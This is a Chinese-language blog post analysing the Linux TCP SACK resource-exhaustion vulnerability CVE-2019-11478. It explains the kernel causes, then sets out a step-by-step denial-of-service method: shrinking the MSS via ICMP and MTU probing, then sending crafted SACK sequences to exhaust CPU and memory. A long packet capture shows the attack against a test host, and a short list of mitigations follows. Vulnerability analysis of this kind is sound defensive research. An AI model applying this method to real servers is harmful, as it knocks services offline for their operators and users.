忘掉那些忧伤,不用再掩饰慌张!说好的暴雨,最终还是没有落下…


在CVE-2019-11477 Sack Panic曝出之后,相信很多大型互联网公司都感受到了一阵凉意,加班那是难免的,当然了,我也没闲着,不过,我是觉得有意思而已。

费了很大的劲,找出了一个Sack Panic利用的EXP方法,通过缩放数据probe内核的方式,成功用packetdrill+sacpy将机器打挂,不过出于安全考虑以及一些别的原因,在大多数公司完全修复Sack Panic之前,我不会放出这个EXP,也是不得已。

不过今天我们来聊聊和Sack Panic归拢在一起的另外一个DDoS漏洞,即CVE-2019-11478,就是 SACK Slowness (Linux < 4.15) or Excess Resource Usage(all Linux versions) ,详情参见:https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md

这个漏洞无伤大雅,写写无妨,几年前就玩过这个,但不知怎么,很明确的事实,却没有人信,在他们看来,只要机器不挂,万事安好,那好,这是我的空间。

该漏洞其实已经被诟病多年,简单说它的效果就是:

  • 特殊的SACK序列可以让CPU飙高。
  • 特殊的SACK序列+小的MSS可以使内存暴增。

一般而言,CPU时间和内存空间是一对冤家,鱼与熊掌,然而CVE-2019-11478却成功地让二者言和共同作恶,好棒!注意CVE-2019-11478的描述名称,里面有个 or ,我觉得换成 and 更佳!

让我们具体来说:

  • 它如何搞高CPU?Why SACK Slowness?
    很简单,之所以括号里有“<4.15”的限定,那是因为在4.15之前,TCP的重传队列和发送队列是all for one的,它们是同一个链表!那么当收到SACK,难免要对SACK序列进行排序,然后对有序的skb队列进行遍历匹配。链表的遍历过程是O(n)O(n)O(n),这就是搞高CPU的根源。
    特别的,如今的网络带宽越来越大,BDP就越大,那么这个链表队列中发送尚未确认的skb就越来越多,遍历链表的nnn就越大,算法时间复杂度线性增加!
    不信?你试试添加8000+条Policy Routing entry试试,或者添加10000条iptables规则,感受一下链表遍历的效果。
    这一点我早就说过,但是大家都不信,不信是因为这个太简单了,他们总觉得里面另有蹊跷。所以我也不说太多。
  • 它如何搞高内存?why Excess Resource Usage?
    这个效果 “得益于” TCP发送时的skb分割。
    我们知道,TCP是基于字节的流式协议,而不是基于数据报文的,所以skb可以分割成任意尺寸而不影响传输效果,分割片段的大小,取决于对端的ACK/SACK以及当前的MSS,具体参见tcp_fragment函数。
    在这个函数执行分片的时候,会重新申请一个skb,这就意味着每次一个分片,就要申请一段内存,我们看看tcp_fragment的注释即可:

    /* Function to create two new TCP segments.  Shrinks the given segment
    * to the specified size and appends a new segment with the rest of the
    * packet to the list.  This won't be called frequently, I hope.
    * Remember, these are still headerless SKBs at this point.
    */
    int tcp_fragment(struct sock *sk, struct sk_buff *skb, u32 len,unsigned int mss_now)
    

现在,要做事了!

只要做到两点:

  1. 把重传队列搞长。
    用大的mss诱导发送端发送大包,不断诱导其增加cwnd。
  2. 把mss搞小。
    用ICMP Need Fragment将mss降低。

上脚本展示原理之前,让我们先文字描述:

  1. 攻击者诱发服务器发送back-to-back大数据块,假设发送了804个1440大约1M大小的skb;
  2. 攻击者构造icmp need frag报文,将mss改成48;【这里需要技巧,一会儿说】
  3. 攻击者发送一段数据比如1:11;
  4. 攻击者再发送一段与第一段数据隔离一个洞的数据,比如21:31;
  5. 攻击者再发送一段与第二段数据隔离一个洞的数据,比如41:51,同时sack大空洞的最后一个skb;
    此时,由于一般服务器都开启了fack,那么内核会将fack-3的skb标记为lost并且开始重传
  6. 被攻击者第一轮重传,800个8字节的skb将会被分配,共消耗内存(400+8)*800=325k;
  7. 攻击者sack被攻击者的重传包,除了留下una空洞,清空窗口;
  8. 被攻击者第二轮重传接下来的数据,导致又一个325k内存被分配;
  9. 最终,被攻击者为了重传1M大小的数据,为了fragment分片会分配等量的1M内存
  10. 如果只想玩内存,那么攻击者此时什么都不做,等待超时断开,在此期间伪造10000个反射连接,大约就消耗10G的内存,这些内存在连接超时之前不会释放!
  11. 如果还想蹂躏CPU,攻击者就不断发送大整段间隔小洞且跨越整skb的SACK段,让被攻击侧遍历重传队列,能玩一个超时时间段。

以上序列这足以让缓存服务器拒绝服务。


好了,现在该验证了。

先发点牢骚…

自从写了那两篇关于sack panic的分析,很多人揪着一些细节说这也不可能那也不可能的,还顺手给我扔来一段代码,我说你们不去思考不去尝试怎么仅凭代码就说不可能呢?

今天又有人怼,说icmp frag need不能设置小于552的mtu:

static void __ip_rt_update_pmtu(struct rtable *rt, struct flowi4 *fl4, u32 mtu)
{struct dst_entry *dst = &rt->dst;struct fib_result res;if (dst_metric_locked(dst, RTAX_MTU))return;if (dst->dev->mtu < mtu)return;if (mtu < ip_rt_min_pmtu)// 默认值:512+20+20,"net.ipv4.route.min_pmtu=552",可配置mtu = ip_rt_min_pmtu;

然而我并没有说仅仅用icmp就能搞定。要用别的手段参与诱导下啊。害得我在班车上如此颠簸撸用例…

先看效果:

再看它对应的简单的packetdrill:

下面是net.ipv4.tcp_mtu_probing开启时的结果,自己看怎么将被攻击侧的mss从1460搞成8的,我把代码都贴上了。

当然,如果你关了probe ,那么如果协商时mss比较大,就没风险了。所以Sack Panic的缓解方案之一就是:

  1. 禁止Syn/SynACK中携带48的mss。
  2. 禁用net.ipv4.tcp_mtu_probing。

另外声明,下面的例子仅供参考。

先看效果,抓包如下:

08:21:24.111487 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [S], seq 0, win 32792, options [mss 1460,sackOK,TS val 100 ecr 0,nop,wscale 7], length 0
08:21:24.111511 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [S.], seq 2101341465, ack 1, win 28960, options [mss 1460,sackOK,TS val 3134154 ecr 100,nop,wscale 7], length 0
08:21:24.111620 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 1, win 257, length 0
08:21:24.111670 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:1449, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111672 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1449:2897, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111673 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 2897:4345, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111674 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 4345:5793, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111676 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 5793:7241, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111677 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 7241:8689, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111678 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 8689:10137, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111679 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 10137:11585, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111680 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 11585:13033, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
08:21:24.111681 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [P.], seq 13033:14481, ack 1, win 227, options [nop,nop,TS val 3134154 ecr 100], length 1448: HTTP
# 至此,被攻击侧已经发送了足够的数据!
…
07:42:40.382859 IP 192.0.2.1 > 192.168.185.126: ICMP 192.0.2.1 unreachable - need to frag (mtu 100), length 36
08:21:24.111689 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], seq 1:11, ack 1, win 257, length 10: HTTP
08:21:24.111699 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], ack 11, win 227, options [nop,nop,TS val 3134154 ecr 100], length 0
# 已经完成被攻击侧3个sack段的构造08:21:24.334480 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3134377 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:24.751521 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3134794 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:25.573734 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3135616 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:27.186758 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:473, ack 11, win 252, options [nop,nop,TS val 3137229 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 472: HTTP
08:21:30.470689 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:229, ack 11, win 252, options [nop,nop,TS val 3140513 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 228: HTTP
08:21:36.940490 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:101, ack 11, win 252, options [nop,nop,TS val 3146983 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 100: HTTP
08:21:49.837286 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:37, ack 11, win 252, options [nop,nop,TS val 3159879 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 36: HTTP
08:22:15.625137 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 1:9, ack 11, win 252, options [nop,nop,TS val 3185667 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:17.225592 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {73:217},nop,nop], length 0
08:22:17.225627 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], ack 11, win 252, options [nop,nop,TS val 3187268 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 0
08:22:17.225718 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {73:217},nop,nop], length 0
08:22:17.225737 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3187268 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873899 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {57:501},nop,nop], length 0
08:22:18.873929 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 45:53, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873932 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873936 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873938 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873941 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873943 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 497:505, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:18.873945 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 505:513, ack 11, win 252, options [nop,nop,TS val 3188916 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528420 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:513},nop,nop], length 0
08:22:19.528452 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528461 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 513:521, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528464 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 521:529, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.528466 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 529:537, ack 11, win 252, options [nop,nop,TS val 3189571 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738413 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:537},nop,nop], length 0
08:22:19.738443 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738448 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738451 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738452 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738454 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 537:545, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738456 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 545:553, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738457 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 553:561, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738458 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 561:569, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.738459 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 569:577, ack 11, win 252, options [nop,nop,TS val 3189781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924799 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:577},nop,nop], length 0
08:22:19.924835 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924841 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 577:585, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924843 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 585:593, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924845 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 593:601, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924851 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 601:609, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:19.924853 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 609:617, ack 11, win 252, options [nop,nop,TS val 3189967 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.123979 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:617},nop,nop], length 0
08:22:20.124040 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124049 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124052 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124056 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124062 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 617:625, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124068 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 625:633, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124074 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 633:641, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124079 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 641:649, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.124085 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 649:657, ack 11, win 252, options [nop,nop,TS val 3190166 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335648 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:657},nop,nop], length 0
08:22:20.335680 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335686 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 657:665, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335688 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 665:673, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335690 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 673:681, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335691 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 681:689, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.335695 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 689:697, ack 11, win 252, options [nop,nop,TS val 3190378 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531660 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:697},nop,nop], length 0
08:22:20.531744 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531772 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531774 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531776 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531780 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 697:705, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531782 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 705:713, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531806 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 713:721, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531808 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 721:729, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.531810 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 729:737, ack 11, win 252, options [nop,nop,TS val 3190574 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738528 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:737},nop,nop], length 0
08:22:20.738579 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738589 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 737:745, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738591 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 745:753, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738594 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 753:761, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738596 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 761:769, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.738598 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 769:777, ack 11, win 252, options [nop,nop,TS val 3190781 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945630 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:777},nop,nop], length 0
08:22:20.945666 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945673 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945676 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945704 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945733 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 777:785, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945736 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 785:793, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945738 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 793:801, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945740 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 801:809, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:20.945743 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 809:817, ack 11, win 252, options [nop,nop,TS val 3190988 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122262 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:817},nop,nop], length 0
08:22:21.122301 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122305 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 817:825, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122306 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 825:833, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122309 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 833:841, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122311 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 841:849, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.122313 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 849:857, ack 11, win 252, options [nop,nop,TS val 3191164 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318671 IP 192.0.2.1.58328 > 192.168.33.130.webcache: Flags [.], ack 37, win 257, options [sack 1 {45:857},nop,nop], length 0
08:22:21.318715 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 53:61, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318719 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 473:481, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318720 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 481:489, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318722 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 489:497, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318724 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 857:865, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
